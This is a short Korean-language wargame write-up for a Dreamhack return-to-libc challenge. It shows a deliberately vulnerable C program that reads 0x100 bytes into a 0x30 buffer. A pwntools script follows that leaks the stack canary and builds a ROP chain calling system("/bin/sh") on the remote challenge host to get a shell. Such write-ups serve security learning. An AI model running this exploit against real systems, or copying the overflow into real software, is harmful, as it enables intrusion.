그렇습니까 ?
보호기법은 꽤 걸려있는 편이다.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
우선 감사하게도 system 함수를 사용하고 있다. libc 파일이 따로 존재하지 않으므로 매우 큰 도움이다.
이 프로그램은 두 번 실행해야 하는데,
1. Leak Canary & Change RET to main
2. change RET to system
이 정도로 생각해주면 되겠다.
from pwn import *
p = remote('host3.dreamhack.games', 23085)
#p = process('./rtl')
e = ELF('./rtl')
system_plt = e.plt['system']
binsh_addr = 0x0000000000600874
pr_gadget = 0x0000000000400853
ret = 0x0000000000400285
payload = 'A' * 0x39
p.recvuntil('Buf: ')
p.send(payload)
p.recvuntil('A' * 0x39)
canary = u64("\x00" + p.recvn(7))
print(canary)
payload = 'A' * 0x38
payload += p64(canary)
payload += 'A' * 0x8
payload += p64(ret)
payload += p64(pr_gadget)
payload += p64(binsh_addr)
payload += p64(system_plt)
p.recvuntil('Buf: ')
p.send(payload)
p.interactive()
canary leak의 경우 마지막 바이트는 무조건 \x00이기에 A를 덮어 전달해주었다.
저기서 ret의 주소를 넣어준 이유는 Stack-Alignment를 맞추어주기 위해서이다.